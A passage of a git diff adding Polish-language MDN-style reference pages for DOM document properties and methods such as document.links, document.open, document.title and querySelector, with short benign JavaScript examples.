+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/document.createTextNode" title="pl/DOM/document.createTextNode">document.createTextNode</a></dt>
+ <dd>Tworzy nowy wezel tekstowy.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/document.createTreeWalker" title="pl/DOM/document.createTreeWalker">document.createTreeWalker</a></dt>
+ <dd>Tworzy obiekt <code><a href="/pl/DOM/treeWalker" title="pl/DOM/treeWalker">TreeWalker</a></code>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/document.createEvent" title="pl/DOM/document.createEvent">document.createEvent</a></dt>
+ <dd>Tworzy obiekt zdarzenia.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/document.createRange" title="pl/DOM/document.createRange">document.createRange</a></dt>
+ <dd>Tworzy obiekt Range.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/document.execCommand" title="pl/DOM/document.execCommand">document.execCommand</a></dt>
+ <dd>Wykonuje komende dla edytora <a href="/pl/Midas" title="pl/Midas">Midas</a>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/document.evaluate" title="pl/DOM/document.evaluate">document.evaluate</a></dt>
+ <dd>Wykonuje wyrazenie XPath.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/document.getElementById" title="pl/DOM/document.getElementById">document.getElementById</a></dt>
+ <dd>Zwraca referencje do elementu o podanym ID.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/document.getElementsByName" title="pl/DOM/document.getElementsByName">document.getElementsByName</a></dt>
+ <dd>Zwraca liste elementów o podanej nazwie.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/document.getElementsByTagName" title="pl/DOM/document.getElementsByTagName">document.getElementsByTagName</a></dt>
+ <dd>Zwraca liste elementów o danej nazwie znacznika.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/document.importNode" title="pl/DOM/document.importNode">document.importNode</a></dt>
+ <dd>Zwraca kopie wezla z zewnetrznego dokumentu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/document.loadOverlay" title="pl/DOM/document.loadOverlay">document.loadOverlay</a></dt>
+ <dd>{{ Fx_minversion_inline(1.5) }} Laduje <a href="/pl/Nakladki_XUL" title="pl/Nakladki_XUL">nakladke XUL</a>. Dziala to tylko w dokumentach XUL.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/document.open" title="pl/DOM/document.open">document.open</a>*</dt>
+ <dd>Otwiera strumien dokumentu do zapisu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/document.queryCommandEnabled" title="pl/DOM/document.queryCommandEnabled">document.queryCommandEnabled</a>*</dt>
+ <dd>Zwraca prawde, jesli komenda edytora <a href="/pl/Midas" title="pl/Midas">Midas</a> moze byc wykonana na biezacym zakresie.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/document.queryCommandIndeterm" title="pl/DOM/document.queryCommandIndeterm">document.queryCommandIndeterm</a>*</dt>
+ <dd>Zwraca prawde, jesli komenda edytora <a href="/pl/Midas" title="pl/Midas">Midas</a> jest w stanie nieokreslonym dla biezacego zakresu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/document.queryCommandState" title="pl/DOM/document.queryCommandState">document.queryCommandState</a>*</dt>
+ <dd>Zwraca prawde, jesli komenda edytora <a href="/pl/Midas" title="pl/Midas">Midas</a> zostala wykonana na biezacym zakresie.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/document.queryCommandValue" title="pl/DOM/document.queryCommandValue">document.queryCommandValue</a>*</dt>
+ <dd>Zwraca wartosc biezacego zakresu dla komendy edytora <a href="/pl/Midas" title="pl/Midas">Midas</a>.Wraz z Firefoksem 2.0.0.2 queryCommandValue zwróci pusty ciag jesli wartosc nie zostala ustawiona.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/document.write" title="pl/DOM/document.write">document.write</a>*</dt>
+ <dd>Zapisuje tekst w dokumencie.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/document.writeln" title="pl/DOM/document.writeln">document.writeln</a>*</dt>
+ <dd>Zapisuje linie tekstu w dokumencie.</dd>
+</dl>
+
+<p> </p>
+
+<p>{{ languages( { "en": "en/DOM/document", "es": "es/DOM/document", "fr": "fr/DOM/document", "ja": "ja/DOM/document", "zh-cn": "cn/DOM/document", "de" : "de/DOM/document" } ) }}</p>
diff --git a/files/pl/web/api/document/lastmodified/index.html b/files/pl/web/api/document/lastmodified/index.html
new file mode 100644
index 0000000000..a79e097ab8
--- /dev/null
+++ b/files/pl/web/api/document/lastmodified/index.html
@@ -0,0 +1,25 @@
+---
+title: document.lastModified
+slug: Web/API/Document/lastModified
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/lastModified
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca datę i czas ostatniej modyfikacji dokumentu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>ciąg</i> = document.lastModified
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">dump(document.lastModified);
+// zwróci np.: Tuesday, July 10, 2001 10:19:42
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Zauważ, że <b>lastModified</b> będąc ciągiem nie może zostać łatwo użyte do porównywania dat modyfikacji między dokumentami.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>(DOM Level 0 - brak w specyfikacji (?))</p>
+<p>{{ languages( { "en": "en/DOM/document.lastModified" } ) }}</p>
diff --git a/files/pl/web/api/document/linkcolor/index.html b/files/pl/web/api/document/linkcolor/index.html
new file mode 100644
index 0000000000..ef025b4bfa
--- /dev/null
+++ b/files/pl/web/api/document/linkcolor/index.html
@@ -0,0 +1,33 @@
+---
+title: document.linkColor
+slug: Web/API/Document/linkColor
+tags:
+ - DOM
+ - DOM_0
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/linkColor
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>{{ Deprecated_header() }} <code>linkColor</code> pobiera/ustawia kolor odnośników w dokumencie.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>kolor</i> = document.linkColor
+document.linkColor =<i>kolor</i>
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>kolor</code> jest ciągiem zawierającym nazwę koloru (np. "blue", "darkblue", itp.) lub wartość szesnastkową, jak w HTML (np. "#fefdf8").</li>
+</ul>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p><code>document.linkColor</code> jest <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">przestarzałe w DOM Level 2 HTML</a>.</p>
+<p>Rekomendowaną alternatywą jest pobranie/ustawienie własności CSS {{ Cssxref("color") }} na elemencie <a href="pl/HTML/Element/a">HTML anchor (&lt;a&gt;) links</a> (np: <code>a {color:red;}</code>).</p>
+<p>Kolejną alternatywą <code>document.body.link</code> mimo, że jest <a class="external" href="http://www.w3.org/TR/html401/struct/global.html#adef-link">przestarzałe w HTML 4.01</a> szczególnie przy użyciu alternatywnego CSS.</p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">document.linkColor = "blue";
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>{{ DOM0() }}</p>
+<p><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/linkcolor.asp">MSDN: Własność linkColor</a></p>
+<p>{{ languages( { "en": "en/DOM/document.linkColor" } ) }}</p>
diff --git a/files/pl/web/api/document/links/index.html b/files/pl/web/api/document/links/index.html
new file mode 100644
index 0000000000..d4ed79c435
--- /dev/null
+++ b/files/pl/web/api/document/links/index.html
@@ -0,0 +1,30 @@
+---
+title: document.links
+slug: Web/API/Document/links
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/links
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Własność <b>links</b> zwraca zestaw wszystkich elementów AREA i A z ustawioną wartością atrybutu <code>href</code>.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>listaWęzłów</i> = document.links
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">var links = document.links;
+for(var i = 0; i &lt; links.length; i++) {
+ var linkHref = document.createTextNode(links[i].href);
+ var lineBreak = document.createElement("br");
+ document.body.appendChild(linkHref);
+ document.body.appendChild(lineBreak);
+}
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-7068919">links </a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/document.links", "it": "it/DOM/document.links", "ja": "ja/DOM/document.links" } ) }}</p>
diff --git a/files/pl/web/api/document/location/index.html b/files/pl/web/api/document/location/index.html
new file mode 100644
index 0000000000..6a754d5c0d
--- /dev/null
+++ b/files/pl/web/api/document/location/index.html
@@ -0,0 +1,37 @@
+---
+title: document.location
+slug: Web/API/Document/location
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/location
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Pobiera URL bieżącego dokumentu.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><em>ciąg</em> = document.location
+</pre>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre class="eval">dump(document.location);
+// zwraca ciąg taki jak np.:
+// <a class="external" href="http://www.peoplemagazine.com/juicybits.html" rel="freelink">http://www.peoplemagazine.com/juicybits.html</a>
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p><strong>document.location</strong> działa tak samo jak <a href="/pl/DOM/document.URL">document.URL</a>. Obydwie te własności są tylko do odczytu, w przeciwieństwie do <a href="/pl/docs/web/api/Window/location">window.location</a>, które można ustawiać. Ponieważ <code>document</code> reprezentuje jeden dokument lub URL, nie można zmieniać jego lokalizacji.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p>DOM Level 0 - brak w specyfikacji.</p>
+
+<p>{{ languages( { "en": "/en/DOM/document.location" } ) }}</p>
diff --git a/files/pl/web/api/document/namespaceuri/index.html b/files/pl/web/api/document/namespaceuri/index.html
new file mode 100644
index 0000000000..d6f9e8ac44
--- /dev/null
+++ b/files/pl/web/api/document/namespaceuri/index.html
@@ -0,0 +1,25 @@
+---
+title: document.namespaceURI
+slug: Web/API/Document/namespaceURI
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Node/namespaceURI
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><b>namespaceURI</b> zwraca przestrzeń nazw XML dokumentu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>NSURI</i> = document.namespaceURI
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>NSURI</code> jest ciągiem zawierjącym przestrzeń nazw.</li>
+</ul>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>DOM jako takie nie obsługuje ani nie wymaga walidacji przestrzeni nazw. Przeprowadzenie walidacji, jeśli jest taka potrzeba, zależy od aplikacji obsługującej DOM. Zauważ też, że prefiks przestrzeni nazw nie może zostać zmieniony, kiedy już raz zostanie przypisany węzłowi.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#Namespaces-Considerations">namespaceURI </a></p>
+<p>{{ languages( { "en": "en/DOM/document.namespaceURI", "fr": "fr/DOM/document.namespaceURI" } ) }}</p>
diff --git a/files/pl/web/api/document/open/index.html b/files/pl/web/api/document/open/index.html
new file mode 100644
index 0000000000..2a7b0347b7
--- /dev/null
+++ b/files/pl/web/api/document/open/index.html
@@ -0,0 +1,40 @@
+---
+title: document.open
+slug: Web/API/Document/open
+tags:
+ - DOM
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/open
+---
+<p id="Summary">{{APIRef("DOM")}}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Metoda <b>document.open</b> otwiera strumień dokumentu do zapisu.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">document.open()
+</pre>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre>//W tym przykładzie zawartość dokumentu jest
+//usuwana przy reinicjalizacji poprzez open()
+
+document.write("&lt;html&gt;&lt;p&gt;wyczyść to&lt;/p&gt;&lt;/html&gt;");
+document.open();
+//dokument jest pusty
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Jeżeli dokument docelowy istnieje, metoda ta wyczyści go (zob. powyzszy przykład). <b>document.open</b> jest wywoływane również wtedy, gdy zostanie użyte <a href="pl/DOM/document.write">document.write</a> po załadowaniu dokumentu.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-72161170">open </a></p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/document.open", "fr": "fr/DOM/document.open", "ja": "ja/DOM/document.open" } ) }}</p>
diff --git a/files/pl/web/api/document/plugins/index.html b/files/pl/web/api/document/plugins/index.html
new file mode 100644
index 0000000000..fb946ff710
--- /dev/null
+++ b/files/pl/web/api/document/plugins/index.html
@@ -0,0 +1,40 @@
+---
+title: document.plugins
+slug: Web/API/Document/plugins
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/plugins
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca listę aktualnie zainstalowanych wtyczek.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>obiektPluginArray</i> = document.plugins
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<p>Poniższy przykład wyświetla informację o zainstalowanych wtyczkach dla dokumentu wysokiego poziomu. Zwróć uwagę na właściwości obiektu Plugin: <b>length</b> (dla tablicy wtyczek), <b>name</b>, <b>filename</b> i <b>description</b>.</p>
+<pre> &lt;script TYPE="text/javascript"&gt;
+ &lt;!--
+ var L = navigator.plugins.length
+ document.write( L );
+ document.write("Plugins".bold());
+ document.write("&lt;BR&gt;");
+ document.write("Name | Filename | description".bold());
+ document.write("&lt;BR&gt;");
+ for(i=0; i&lt;L; i++){
+ document.write(navigator.plugins[i].name);
+ document.write(" | ".bold());
+ document.write(navigator.plugins[i].filename);
+ document.write(" | ".bold());
+ document.write(navigator.plugins[i].description);
+ document.write("&lt;BR&gt;");
+ }
+ //--&gt;
+ &lt;/script&gt;
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>DOM Level 0 - brak w specyfikacji.</p>
+<p>{{ languages( { "en": "en/DOM/document.plugins" } ) }}</p>
diff --git a/files/pl/web/api/document/queryselector/index.html b/files/pl/web/api/document/queryselector/index.html
new file mode 100644
index 0000000000..cecd7c4f14
--- /dev/null
+++ b/files/pl/web/api/document/queryselector/index.html
@@ -0,0 +1,159 @@
+---
+title: Document.querySelector()
+slug: Web/API/Document/querySelector
+tags:
+ - API
+ - DOM
+ - Metodă
+ - Referencje
+ - Selektory
+translation_of: Web/API/Document/querySelector
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p>Funkcja zwraca pierwszy element wewnątrz dokumentu, który pasuje do podanego selektora lub grupy selektorów.</p>
+
+<h2 id="Syntax" name="Syntax">Składnia</h2>
+
+<pre class="brush: js">element = document.querySelector(selectors);
+</pre>
+
+<p>gdzie</p>
+
+<ul>
+ <li><code>element</code> jest obiektem typu <a href="/en-US/docs/DOM/element" title="en-US/docs/DOM/element">element</a>.</li>
+ <li><code>selectors</code> jest łańcuchem znaków (<code>string</code>) zawierającym jeden lub więcej <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Selectors">selektorów CSS</a> oddzielonych przecinkami.</li>
+</ul>
+
+<h2 id="Example" name="Example">Przykład</h2>
+
+<p>W tym przykladzie zostaje zwrócony pierwszy element w dokumencie o klasie "<code style="font-style: normal;">myclass</code>":</p>
+
+<pre class="brush: js">var el = document.querySelector(".myclass");
+</pre>
+
+<h2 id="ExamplePowerful" name="ExamplePowerful">Przykład: Powerful</h2>
+
+<p><em>Selectory</em> mogą być naprawdę potężne, jak pokazano na poniższym przykładzie. Pierwszy element <code>&lt;input name="login"/&gt;</code> wewnątrz <code>&lt;div class="user-panel main"&gt;</code> w dokumencie zostaje zwrócony:</p>
+
+<pre class="brush: js">var el = document.querySelector("div.user-panel.main input[name='login']");
+</pre>
+
+<h2 id="Notes" name="Notes">Uwagi</h2>
+
+<p>Jeśli nie znaleziono dopasowań - zwraca null. W przeciwnym wypadku zwraca pierwszy pasujący element.</p>
+
+<p>Jeśli selektor zawiera ID i to ID zostaje wielokrotnie błędnie użyte w dokumencie, zwracany jest pierwszy pasujący element.</p>
+
+<p>Gdy podana grupa selektorów jest nieprawidłowa, zwrócony zostaje wyjątek <span style="font-family: courier,andale mono,monospace;">SYNTAX_ERR.</span></p>
+
+<p><code>querySelector()</code> został wprowadzony w API Selektorów.</p>
+
+<p>Przekazany do funkcji <code>querySelector</code> łańcuch znaków (<code>string</code>) musi być zgodny ze składnią CSS.</p>
+
+<p>Zgodnie z <a href="http://www.w3.org/TR/selectors-api/#grammar">API Selektorów</a> pseudoklasy CSS nigdy nie zwrócą żadnego elementu.</p>
+
+<p><span style="line-height: 22.0080013275147px;">Aby użyć ID lub selektorów niezgodnych ze składnią CSS (</span>np. ze względu na niewłaściwe użycie dwukropka czy spacji<span style="line-height: 22.0080013275147px;">) należy poprzedzić niezgodny znak ukośnikiem wstecznym (backslash). </span>Z racji, że w JavaScript backslash jest używany jako znak ucieczki chcąc użyć go w stringu należy wpisać go podwójnie(jeden dla stringa JavaScriptu i drugi raz dla querySelector):</p>
+
+<pre class="brush: html">&lt;div id="foo\bar"&gt;&lt;/div&gt;
+&lt;div id="foo:bar"&gt;&lt;/div&gt;
+
+&lt;script&gt;
+ console.log('#foo\bar') // "#fooar"
+ document.querySelector('#foo\bar') // Nie pasuje do żadnego elementu
+
+ console.log('#foo\\bar')              // "#foo\bar"
+ console.log('#foo\\\\bar')            // "#foo\\bar"
+ document.querySelector('#foo\\\\bar') // Odnosi się do pierwszego diva
+
+ document.querySelector('#foo:bar') // Nie pasuje do żadnego elementu
+ document.querySelector('#foo\\:bar') // Odnosi się do drugiego diva
+&lt;/script&gt;
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("Selectors API Level 2", "#interface-definitions", "document.querySelector()")}}</td>
+ <td>{{Spec2("Selectors API Level 2")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}</td>
+ <td>{{Spec2("Selectors API Level 1")}}</td>
+ <td>Definicja wstępna</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Zgodność z przeglądarkami</h2>
+
+<p>{{CompatibilityTable()}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Cecha</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Wsparcie podstawowe</td>
+ <td>1</td>
+ <td>3.5 (1.9.1)<br>
+ {{bug(416317)}}</td>
+ <td>8</td>
+ <td>10</td>
+ <td>3.2 (525.3)<br>
+ {{Webkitbug("16587")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Cecha</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Wsparcie podstawowe</td>
+ <td>2.1</td>
+ <td>yes</td>
+ <td>9</td>
+ <td>10.0</td>
+ <td>3.2</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+
+
+<h2 id="See_also" name="See_also">Zobacz także</h2>
+
+
+
+<ul>
+ <li>{{domxref("document.querySelectorAll()")}}</li>
+ <li>{{domxref("element.querySelector()")}}</li>
+ <li>{{domxref("element.querySelectorAll()")}}</li>
+ <li><a href="/en-US/docs/Code_snippets/QuerySelector" title="en-US/docs/Code snippets/QuerySelector">Przykłady kodu z użyciem querySelector</a></li>
+</ul>
diff --git a/files/pl/web/api/document/referrer/index.html b/files/pl/web/api/document/referrer/index.html
new file mode 100644
index 0000000000..0667be8e4c
--- /dev/null
+++ b/files/pl/web/api/document/referrer/index.html
@@ -0,0 +1,22 @@
+---
+title: document.referrer
+slug: Web/API/Document/referrer
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/referrer
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca URI strony, która przekierowała na bieżącą stronę.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>ciąg</i> = document.referrer
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Jeżeli użytkownik otworzył stronę bezpośrednio (nie poprzez odnośnik, ale np. za pomocą zakładki), wartością tej właściwości jest pusty ciąg.</p>
+<p>Zauważ też, że właściwość ta zwraca tylko ciąg tekstowy, nie daje dostępu do DOM strony odsyłającej.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-95229140">referrer </a></p>
+<p>{{ languages( { "en": "en/DOM/document.referrer" } ) }}</p>
diff --git a/files/pl/web/api/document/releasecapture/index.html b/files/pl/web/api/document/releasecapture/index.html
new file mode 100644
index 0000000000..7585229fe5
--- /dev/null
+++ b/files/pl/web/api/document/releasecapture/index.html
@@ -0,0 +1,31 @@
+---
+title: Document.releaseCapture()
+slug: Web/API/Document/releaseCapture
+translation_of: Web/API/Document/releaseCapture
+---
+<div>{{ ApiRef("DOM") }} {{gecko_minversion_header("2.0")}}</div>
+
+<div> </div>
+
+<p>Zwalnia śledzenie myszy, jeśli śledzenie jest ustawione na jakimś elemencie wewnątrz dokumentu. Możesz włączyć śledzenie wywołując {{domxref("element.setCapture()")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Składnia</h2>
+
+<pre class="syntaxbox">document.releaseCapture()
+</pre>
+
+<p>Po zwolnieniu śledzenia, zdarzenia myszy nie będą przekierowywane do elementu dla którego śledzenie było włączone.</p>
+
+<h2 id="Example" name="Example">Przykład</h2>
+
+<p>Zobacz przykład <a href="/en-US/docs/Web/API/element.setCapture#Example">przykład</a> dla {{domxref("element.setCapture()")}}.</p>
+
+<h2 id="Specification" name="Specification">Specyfikacja</h2>
+
+<p>Oparta na implementacji Internet Explorera.</p>
+
+<h2 id="See_also" name="See_also">Zobacz także</h2>
+
+<ul>
+ <li>{{domxref("element.setCapture()")}}</li>
+</ul>
diff --git a/files/pl/web/api/document/stylesheets/index.html b/files/pl/web/api/document/stylesheets/index.html
new file mode 100644
index 0000000000..4c8312b281
--- /dev/null
+++ b/files/pl/web/api/document/stylesheets/index.html
@@ -0,0 +1,19 @@
+---
+title: document.styleSheets
+slug: Web/API/Document/styleSheets
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/DocumentOrShadowRoot/styleSheets
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Własność <b>styleSheets</b> zwraca listę obiektów <code>stylesheet</code> w bieżącym dokumencie.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>listaWęzłów</i> = document.styleSheets
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>DOM Level 2.</p>
+<p>{{ languages( { "en": "en/DOM/document.styleSheets", "ja": "ja/DOM/document.styleSheets" } ) }}</p>
diff --git a/files/pl/web/api/document/title/index.html b/files/pl/web/api/document/title/index.html
new file mode 100644
index 0000000000..0a379426e5
--- /dev/null
+++ b/files/pl/web/api/document/title/index.html
@@ -0,0 +1,45 @@
+---
+title: document.title
+slug: Web/API/Document/title
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/title
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Pobiera lub ustawia tytuł dokumentu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>tytul</i> =<i>document</i>.title;
+</pre>
+<ul>
+ <li><code>tytul</code> jest łańcuchem znaków zawierającym tytuł dokumentu. Jeśli tytuł został nadpisany poprzez ustawienie <code>document.title</code>, zwraca tę wartość. W przeciwnym wypadku zwraca tytuł określony w znaczniku (zobacz poniższe {{ Anch("Uwagi") }}).</li>
+</ul>
+<pre class="eval"><i>document</i>.title =<i>nowyTytul</i>;
+</pre>
+<ul>
+ <li><code>nowyTytul</code> jest nowym tytułem dokumentu. Przypisanie to ma wpływ na wartość zwracaną przez <code>document.title</code> oraz wyświetlany tytuł dokumentu (np. w pasku tytułowym okna), ale nie wpływa na DOM dokumentu (np. zawartość elementu <code>&lt;title&gt;</code> w dokumencie HTML).</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>&lt;html&gt;
+&lt;head&gt;
+ &lt;title&gt;Hello World!&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+ &lt;script&gt;
+ alert(document.title); // wyswietla "Hello World!"
+ document.title = "Goodbye World!";
+ alert(document.title); // wyswietla "Goodbye World!"
+ &lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Własność ta ma zastosowanie w HTML, SVG, XUL i innych dokumentach w Gecko.</p>
+<p>Dla dokumentów HTML początkową wartością <code>document.title</code> jest zawartość tekstowa elementu <code>&lt;title&gt;</code>. Dla XUL-a jest to wartość atrybutu {{ XULAttr("title") }} elementu {{ XULElem("window") }} lub innego elementu XUL najwyższego poziomu.</p>
+<p>W XUL-u próba dostępu do <code>document.title</code> zanim jeszcze dokument zostanie w pełni załadowany może skutkować niepożądanym zachowaniem (<code>document.title</code> może zwrócić pusty łańcuch znaków, a ustawienie <code>document.title</code> może nie mieć żadnego efektu).</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-18446827">DOM Level 2 HTML: document.title</a></p>
+<p>{{ languages( { "en": "en/DOM/document.title" } ) }}</p>
diff --git a/files/pl/web/api/document/url/index.html b/files/pl/web/api/document/url/index.html
new file mode 100644
index 0000000000..90bb037e8b
--- /dev/null
+++ b/files/pl/web/api/document/url/index.html
@@ -0,0 +1,25 @@
+---
+title: document.URL
+slug: Web/API/Document/URL
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/URL
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca URL bieżącego dokumentu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
